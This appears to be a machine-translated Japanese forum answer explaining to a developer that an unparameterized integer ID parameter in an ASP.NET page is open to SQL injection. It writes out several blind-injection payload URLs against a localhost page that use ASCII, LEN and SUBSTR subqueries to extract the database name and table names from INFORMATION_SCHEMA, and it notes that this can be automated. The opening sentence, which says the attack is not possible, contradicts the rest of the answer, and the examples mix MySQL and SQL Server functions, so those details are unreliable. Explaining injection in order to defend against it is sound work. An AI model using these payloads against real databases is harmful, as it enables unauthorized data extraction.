いいえ、SQLインジェクション攻撃をその方法で受けることはできません。私はトルコ語で古い記事を書いています。PHPとMySQLの記事の例ですが、概念はC#とSQL Serverで同じように機能します。
基本的には次のように攻撃します。整数のID値に従って情報を表示するページがあるとしましょう。以下のように、これを値でパラメーター化しません。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=24
さて、あなたはMySQLを使用していると思います。私は次のように攻撃します。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII((SELECT%20DATABASE()))
ここで注入された値は文字列ではないことに注意してください。ASCII関数を使用してchar値をintに変更しています。"CAST(YourVarcharCol AS INT)"を使用して、SQL Serverで同じことを実行できます。
その後、データベースの名前を見つけるために、長さと部分文字列関数を使用します。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=LEN((SELECT%20DATABASE()))
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII(SUBSTR(SELECT%20DATABASE(),1,1))
次に、データベース名を使用して、データベース内のテーブル名の取得を開始します。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII(SUBSTR((SELECT table_name FROM INFORMATION_SCHEMA.TABLES LIMIT 1),1,1))
もちろん、クエリごとに1文字しか取得できないため、このプロセスを自動化する必要があります。しかし、簡単に自動化できます。私の記事はwatirの 1つの例を示しています。パラメータ化されたID値ではなく、1ページのみを使用します。私はあなたのデータベースのすべてのテーブル名を知ることができます。その後、私は重要なテーブルを探すことができます。時間はかかりますが、実行可能です。